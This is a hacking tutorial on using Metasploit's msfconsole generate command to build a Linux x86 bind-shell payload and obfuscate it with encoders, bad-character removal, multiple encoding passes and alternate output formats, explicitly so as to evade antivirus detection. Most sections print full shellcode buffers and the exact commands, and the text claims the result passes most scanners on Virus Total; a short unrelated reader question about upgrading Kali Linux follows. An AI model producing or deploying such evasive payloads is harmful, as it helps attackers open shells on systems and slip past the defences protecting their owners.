How To: Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus Detection

Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus Detection

One of the things that sets a seasoned hacker apart from the script kiddies is the ability to effectively sneak past antivirus defenses when executing an attack. One way to do this is to use custom shellcode in an exploit. Not everyone is an expert at writing shellcode, but luckily there's an easy way to do this that is both quick and effective.

Antivirus evasion is a broad field that some people devote their entire work to. It is a large part of exploit development, and it is certainly useful when trying to bypass common defense mechanisms. One of the ways to obfuscate payloads is by generating custom shellcode. This method can be utilized when developing an exploit from scratch or when using an existing exploit to better hide from antivirus software.

In Metasploit, payload shellcode can be generated from within the framework. We will be using msfconsole today, which is arguably the most popular interface for Metasploit. When a payload is loaded, a few commands become available, including the generate command, which will be the focus of this guide.

Generating a Payload

First off, let's fire up Metasploit by typing msfconsole in the terminal. Once it loads, we can choose a payload. Most any payload will suffice, but for demonstration purposes, we will be using a simple bind shell.

Type use payload/linux/x86/shell_bind_tcp to load the payload and bring it into focus, followed by help to display the available commands:

msf > use payload/linux/x86/shell_bind_tcp
msf payload(linux/x86/shell_bind_tcp) > help

...

Payload Commands
================

    Command       Description
    -------       -----------
    check         Check to see if a target is vulnerable
    generate      Generates a payload
    reload        Reload the current module from disk
    to_handler    Creates a handler with the specified payload

The command we are interested in is generate, so enter generate -h to show the various options that are available:

msf payload(linux/x86/shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -e <opt>  The name of the encoder module to use.
    -f <opt>  The output file name (otherwise stdout)
    -h        Help banner.
    -i <opt>  the number of encoding iterations.
    -k        Keep the template executable functional
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The Platform for output.
    -s <opt>  NOP sled length.
    -t <opt>  The output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
    -x <opt>  The executable template to use

Option 1: Default Generation

We can generate shellcode without any options, although the odds of this payload bypassing any modern antivirus software are probably pretty low. Below, we can see the size of the generated payload, 78 bytes, followed by some other settings, and finally the raw shellcode.

msf payload(linux/x86/shell_bind_tcp) > generate
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependSetresgid=false,
# PrependSetregid=false, PrependSetgid=false,
# PrependChrootBreak=false, AppendExit=false
buf =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +
"\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89" +
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" +
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" +
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" +
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

Option 2: Use Different Encoders

Metasploit will automatically select the best encoder for the job, by default, but we can also specify which one to use to fit custom needs. Type show encoders to see a list of the available encoders and their descriptions.

msf payload(linux/x86/shell_bind_tcp) > show encoders

Encoders
========

   Name                          Disclosure Date  Rank       Description
   ----                          ---------------  ----       -----------
   cmd/brace                                      low        Bash Brace Expansion Command Encoder
   cmd/echo                                       good       Echo Command Encoder
   cmd/generic_sh                                 manual     Generic Shell Variable Substitution Command Encoder
   cmd/ifs                                        low        Bourne ${IFS} Substitution Command Encoder
   cmd/perl                                       normal     Perl Command Encoder
   cmd/powershell_base64                          excellent  Powershell Base64 Command Encoder
   cmd/printf_php_mq                              manual     printf(1) via PHP magic_quotes Utility Command Encoder
   generic/eicar                                  manual     The EICAR Encoder
   generic/none                                   normal     The "none" Encoder
   mipsbe/byte_xori                               normal     Byte XORi Encoder
   mipsbe/longxor                                 normal     XOR Encoder
   mipsle/byte_xori                               normal     Byte XORi Encoder
   mipsle/longxor                                 normal     XOR Encoder
   php/base64                                     great      PHP Base64 Encoder
   ppc/longxor                                    normal     PPC LongXOR Encoder
   ppc/longxor_tag                                normal     PPC LongXOR Encoder
   ruby/base64                                    great      Ruby Base64 Encoder

...

For example, we could use a simple XOR countdown encoder (x86/countdown). Specify the encoder to use with the -e flag. The generated shellcode is a little different now, in addition to being slightly larger at 94 bytes.

msf payload(linux/x86/shell_bind_tcp) > generate -e x86/countdown
# linux/x86/shell_bind_tcp - 94 bytes
# http://www.metasploit.com
# Encoder: x86/countdown
# VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependSetresgid=false,
# PrependSetregid=false, PrependSetgid=false,
# PrependChrootBreak=false, AppendExit=false
buf =
"\x6a\x4d\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07" +
"\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62\x0b\x83\xea\xbc" +
"\x6b\xc3\x8f\x4b\x4f\x40\x7b\x16\x15\x07\x4b\x72\x09\x4b" +
"\x4b\x95\xfc\x74\x79\x78\xec\xa2\xaa\x65\x21\x95\x23\x98" +
"\x4f\xe7\xab\x6f\x9d\x48\xe2\xb0\xa2\x6b\x59\x0b\x6d\xfb" +
"\xb7\x71\x40\xc2\x53\x13\x12\x4d\x57\x28\x6e\x20\x2a\x2a" +
"\xcc\xa5\x17\x1b\xc0\xab\xfb\x47\x80\xce"

Option 3: Remove Bad Characters

Depending on the target, certain characters might not be allowed to exist in the payload. The null byte (\x00), except for in rare cases, almost always causes problems when present in a payload. To generate shellcode while removing a specific character, use the -b flag.

msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00'
# linux/x86/shell_bind_tcp - 105 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependSetresgid=false,
# PrependSetregid=false, PrependSetgid=false,
# PrependChrootBreak=false, AppendExit=false
buf =
"\xbb\xed\x04\xc7\xf5\xdd\xc7\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x14\x31\x5a\x14\x83\xc2\x04\x03\x5a\x10\x0f\xf1\xf6" +
"\x2e\x38\x19\xab\x93\x95\xb4\x4e\x9d\xf8\xf9\x29\x50\x7a" +
"\xa2\xeb\x38\x12\x57\x14\xac\xbe\x3d\x04\x9f\x6e\x4b\xc5" +
"\x75\xe8\x13\xcb\x0a\x7d\xe2\xd7\xb9\x79\x55\xb1\x70\x01" +
"\xd6\x8e\xed\xcc\x59\x7d\xa8\xa4\x66\xda\x86\xb8\xd0\xa3" +
"\xe0\xd0\xcd\x7c\x62\x48\x7a\xac\xe6\xe1\x14\x3b\x05\xa1" +
"\xbb\xb2\x2b\xf1\x37\x08\x2b"

We can also omit multiple characters at once.

msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81'
# linux/x86/shell_bind_tcp - 105 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependSetresgid=false,
# PrependSetregid=false, PrependSetgid=false,
# PrependChrootBreak=false, AppendExit=false
buf =
"\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x14\xb8\xb8\x2e" +
"\x24\x7f\x83\xc5\x04\x31\x45\x15\x03\x45\x15\x5a\xdb\x15" +
"\xa4\x6d\xc7\x05\x19\xc2\x62\xa8\x14\x05\xc2\xca\xeb\x45" +
"\x78\x4d\xa6\x2d\x7d\x71\x57\xf1\xeb\x61\x06\x59\x65\x60" +
"\xc2\x3f\x2d\xae\x93\x36\x8c\x34\x27\x4c\xbf\x53\x8a\xcc" +
"\xfc\x2b\x72\x01\x82\xdf\x22\xf3\xbc\x87\x19\x83\x8a\x4e" +
"\x5a\xeb\x23\x9e\xe9\x83\x53\xcf\x6f\x3a\xca\x86\x93\xec" +
"\x41\x10\xb2\xbc\x6d\xef\xb5"

At a certain point, though, this feature has its limits. If too many characters are disallowed, the payload might not be allowed to be generated, resulting in the following error.

[-] Payload generation failed: No encoders encoded the buffer successfully.

Option 4: Multiple Iterations

Another useful technique for bypassing antivirus is encoding the payload with multiple passes. This essentially takes the generated shellcode and runs it through the encoder again with as many passes as defined. Use the -i flag to specify the number of iterations to encode the payload with.

msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5
# linux/x86/shell_bind_tcp - 213 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependSetresgid=false,
# PrependSetregid=false, PrependSetgid=false,
# PrependChrootBreak=false, AppendExit=false
buf =
"\xd9\xc6\xd9\x74\x24\xf4\x5f\xbd\x8d\x20\x24\xe6\x33\xc9" +
"\xb1\x2f\x31\x6f\x19\x83\xc7\x04\x03\x6f\x15\x6f\xd5\x9e" +
"\x6e\x55\xa6\x85\xb5\x7e\x1f\x4d\x6e\x74\xff\x9f\xa7\xc5" +
"\x28\xd1\x60\x30\x2a\x46\x9a\xb9\xeb\x6c\x46\xc0\x12\x1b" +
"\x05\x33\xe7\x68\x65\x0c\xc3\x1e\xc6\xdb\xd9\x59\x5d\x6c" +
"\x89\xd0\xc9\x26\xd4\x5d\x1d\xea\xe0\xbc\x1b\x7f\xee\x8d" +
"\x5f\xaf\xd0\xb4\x9e\xec\x3f\x38\x83\x03\x9f\x44\xe4\x83" +
"\x3f\xc9\x4f\x41\x2c\x4b\x94\x98\x5d\x4e\x27\x1f\x15\x76" +
"\xb6\x12\xf5\xfd\xf4\x35\x9f\xfd\xa3\xd1\x93\xa3\x39\x6e" +
"\x9c\xbe\xd6\xbc\xb0\x5a\x6b\x03\x52\x56\x7b\x54\x1b\xb6" +
"\x3c\x4e\xc8\x1e\x30\xa5\x1f\xe3\x2e\x90\x78\x22\x7d\x67" +
"\x08\x04\x91\x77\x7e\xde\xce\x4e\xa8\x5c\xa3\x77\x63\xe3" +
"\x67\x41\x2d\x9c\x29\x0b\x57\x02\x23\x50\x1b\x8a\x82\xbe" +
"\x0e\x5e\x8a\x96\x5e\x1d\x65\xbe\x3b\x51\x80\xa5\x0f\x8f" +
"\x30\xdf\x12\xd0\x80\xa6\x4c\x1a\xf0\xc2\x17\xdd\xa3\x7d" +
"\x2d\xc1\x0c"

Option 5: Combine Options

Keep in mind, we can combine multiple options when generating shellcode in order to better our chances at evading antivirus detection. If we look closely, the default listen port for our bind shell is set to 4444. We can change that, and any other option for that matter, by using the -o flag followed by the variable and the value to set. Let's change the listen port to 1234.

msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5 -o lport=1234
# linux/x86/shell_bind_tcp - 213 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, PrependFork=false,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependSetresgid=false,
# PrependSetregid=false, PrependSetgid=false,
# PrependChrootBreak=false, AppendExit=false
buf =
"\xb8\xee\x58\x02\xcc\xda\xcc\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x2f\x83\xea\xfc\x31\x42\x10\x03\x42\x10\x0c\xad\xd8" +
"\x01\x6a\x27\x02\xd8\xa0\x61\xc8\xff\x40\xcf\x18\xc9\x19" +
"\xd8\x6b\x9f\x43\x9a\x4a\x1b\x70\xca\x44\xc6\xea\x96\xe7" +
"\x07\x35\x8e\x31\x9f\x37\x99\x0f\x70\xaa\xba\x48\xd9\x1b" +
"\x88\xdd\xc2\x4f\x1a\xc7\xac\xb6\xe7\xd4\x86\xdd\x24\x1b" +
"\xa0\x60\x51\x78\x01\x37\x50\x84\x39\xe3\xe1\x95\x18\x65" +
"\xfb\x97\x75\xc2\x7f\x82\xcd\x93\xf1\x4e\x49\xff\x99\xde" +
"\x85\x10\xf9\xad\x4c\xec\x37\xb4\x04\x1c\xb0\xc6\xcf\x55" +
"\x6a\xa9\x68\xc6\x84\xad\xba\xfa\x59\x3a\x02\xbf\x32\x55" +
"\x9d\x9f\x76\x80\x54\xd9\xcc\x03\x8c\x65\x2b\x8f\xdc\x4c" +
"\xd9\x6f\x6f\x6e\x0e\x8a\x8a\xa8\x14\xb9\x2d\x70\x78\xed" +
"\xa2\x24\xac\xf1\x15\xd0\x90\xeb\x38\x56\x52\x6b\xf3\xeb" +
"\x77\x21\xeb\x3d\x64\xf9\xc3\x65\xe3\xab\x5c\xd5\xaa\x3d" +
"\x07\xa0\x95\x3f\xd3\x9b\xc9\x48\x52\x0b\x15\x42\xa8\x2d" +
"\x54\x01\x4f"

Option 6: Output Formats

Another extremely useful feature is the ability to encode the payload in different output formats. A listing of the available formats can be seen by viewing the help options, with the generate -h command. To generate shellcode in Java format, for example, we can use the -t flag. We can see that the output looks a little different than before since the shellcode is in another format now.

msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5 -o lport=1234 -t java
/*
 * linux/x86/shell_bind_tcp - 213 bytes
 * http://www.metasploit.com
 * Encoder: x86/shikata_ga_nai
 * VERBOSE=false, LPORT=1234, RHOST=, PrependFork=false,
 * PrependSetresuid=false, PrependSetreuid=false,
 * PrependSetuid=false, PrependSetresgid=false,
 * PrependSetregid=false, PrependSetgid=false,
 * PrependChrootBreak=false, AppendExit=false
 */
byte buf[] = new byte[]
{
	(byte) 0xbd, (byte) 0x47, (byte) 0xcc, (byte) 0x2b, (byte) 0x9a, (byte) 0xd9, (byte) 0xc7, (byte) 0xd9,
	(byte) 0x74, (byte) 0x24, (byte) 0xf4, (byte) 0x5a, (byte) 0x33, (byte) 0xc9, (byte) 0xb1, (byte) 0x2f,
	(byte) 0x31, (byte) 0x6a, (byte) 0x14, (byte) 0x83, (byte) 0xea, (byte) 0xfc, (byte) 0x03, (byte) 0x6a,
	(byte) 0x10, (byte) 0xa5, (byte) 0x39, (byte) 0xf0, (byte) 0x4c, (byte) 0x93, (byte) 0x94, (byte) 0x72,
	(byte) 0x6d, (byte) 0x33, (byte) 0xc1, (byte) 0x09, (byte) 0xa9, (byte) 0x47, (byte) 0xaa, (byte) 0xd8,
	(byte) 0x78, (byte) 0x16, (byte) 0x63, (byte) 0x98, (byte) 0xbb, (byte) 0x5c, (byte) 0x45, (byte) 0xce,
	(byte) 0x2d, (byte) 0x5f, (byte) 0xf5, (byte) 0xf8, (byte) 0xb3, (byte) 0xfc, (byte) 0x59, (byte) 0xd8,
	(byte) 0x5c, (byte) 0x95, (byte) 0x72, (byte) 0x82, (byte) 0x0f, (byte) 0x67, (byte) 0xe9, (byte) 0xfa,
	(byte) 0x60, (byte) 0xcd, (byte) 0x43, (byte) 0x0c, (byte) 0xa8, (byte) 0x89, (byte) 0xe7, (byte) 0xc5,
	(byte) 0xf7, (byte) 0x96, (byte) 0x64, (byte) 0x15, (byte) 0x65, (byte) 0x09, (byte) 0x99, (byte) 0x25,
	(byte) 0xe0, (byte) 0x91, (byte) 0xd2, (byte) 0x61, (byte) 0xc3, (byte) 0x9e, (byte) 0xed, (byte) 0xed,
	(byte) 0x87, (byte) 0xd4, (byte) 0x83, (byte) 0xbb, (byte) 0x5d, (byte) 0x46, (byte) 0xaa, (byte) 0x4d,
	(byte) 0x1a, (byte) 0xd9, (byte) 0x1a, (byte) 0x3c, (byte) 0xf9, (byte) 0xa5, (byte) 0x44, (byte) 0xb6,
	(byte) 0x47, (byte) 0xe2, (byte) 0x82, (byte) 0x58, (byte) 0xe4, (byte) 0xf7, (byte) 0x30, (byte) 0x9b,
	(byte) 0x6a, (byte) 0x0b, (byte) 0xa7, (byte) 0xf9, (byte) 0xb5, (byte) 0x23, (byte) 0x99, (byte) 0x54,
	(byte) 0xc6, (byte) 0x0f, (byte) 0x4a, (byte) 0x63, (byte) 0x08, (byte) 0xe3, (byte) 0xeb, (byte) 0xc4,
	(byte) 0x39, (byte) 0xa2, (byte) 0xe7, (byte) 0x1f, (byte) 0x87, (byte) 0x0e, (byte) 0xc9, (byte) 0x94,
	(byte) 0xc2, (byte) 0x1d, (byte) 0x39, (byte) 0xba, (byte) 0xd4, (byte) 0x98, (byte) 0x53, (byte) 0x5b,
	(byte) 0xfa, (byte) 0x42, (byte) 0x27, (byte) 0x10, (byte) 0xf1, (byte) 0x82, (byte) 0xd3, (byte) 0x7c,
	(byte) 0x67, (byte) 0x13, (byte) 0x90, (byte) 0xbc, (byte) 0xaf, (byte) 0xb6, (byte) 0xcb, (byte) 0x6b,
	(byte) 0x50, (byte) 0x62, (byte) 0xee, (byte) 0xaa, (byte) 0x80, (byte) 0x6e, (byte) 0x75, (byte) 0x5e,
	(byte) 0x9b, (byte) 0xcc, (byte) 0xf6, (byte) 0x3f, (byte) 0xde, (byte) 0xd9, (byte) 0xa2, (byte) 0xf2,
	(byte) 0x8b, (byte) 0x9d, (byte) 0x1a, (byte) 0x4b, (byte) 0x9f, (byte) 0xdc, (byte) 0x96, (byte) 0x69,
	(byte) 0x74, (byte) 0xfc, (byte) 0x4f, (byte) 0x18, (byte) 0x72, (byte) 0x35, (byte) 0x88, (byte) 0x71,
	(byte) 0x46, (byte) 0x31, (byte) 0x5d, (byte) 0x9b, (byte) 0x44, (byte) 0x34, (byte) 0x46, (byte) 0xec,
	(byte) 0x1e, (byte) 0xdd, (byte) 0x8e, (byte) 0xf9, (byte) 0xb3, (byte) 0xe0, (byte) 0x51, (byte) 0x4e,
	(byte) 0xb8, (byte) 0xee, (byte) 0x7b, (byte) 0x29, (byte) 0x1e
};

Option 7: Save as File

Finally, we have the option to save the generated payload to a file instead of having it displayed directly on the screen. Use the -f flag followed by the file path — in this case, the file titled "payload" is being saved right in the home directory.

msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5 -o lport=1234 -t java -f payload
[*] Writing 3183 bytes to payload...

Will This Really Bypass Antivirus Tools?

Virus Total is an online tool used to examine suspicious files to determine if they are malicious or not. It combines many antivirus products and tests uploaded files for known signatures in the database. We can see that the sample payload we created comes back clean for most antivirus software.

Please note that uploading a file to Virus Total will add it to the database, so don't upload anything that you don't want to be detected in the future. Feel free to play around with all the different options that the generate command has to offer, and have fun creating a totally unrecognizable payload.

Closing Thoughts

Metasploit makes it easy to generate custom shellcode from within msfconsole, in an effort to obfuscate payloads and evade antivirus detection. The generate command has a slew of options available, ranging from the ability to restrict certain characters to encoding the payload with multiple iterations. Most of these options can be combined to create a payload that has a decent chance at bypassing antivirus software — a goal that should be on the mind of any would-be hacker.

Cover image by insspirito/Pixabay; Screenshots by drd_/Null Byte

2 Comments

greetings to this room. i need assistant pls. i have been trying to upgrade my kalilinux (2016, 4.6) to a more recent version. when i use the update & and upgrade command, i get the following:

root@kali:~# apt-get update && apt-get dist-upgrade
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

i have tried different method and i get same output. is it that i cant upgrade except i download the setup for the version i want? pls if there is a way i can upgrade without downloading the setup, i would really appreciate it. thanks in advance, i really need this

Try the following command:

apt-get update && apt-get full-upgrade

See this page.

Alternatively, you could start a new forum topic.

Share Your Thoughts

  • Hot
  • Latest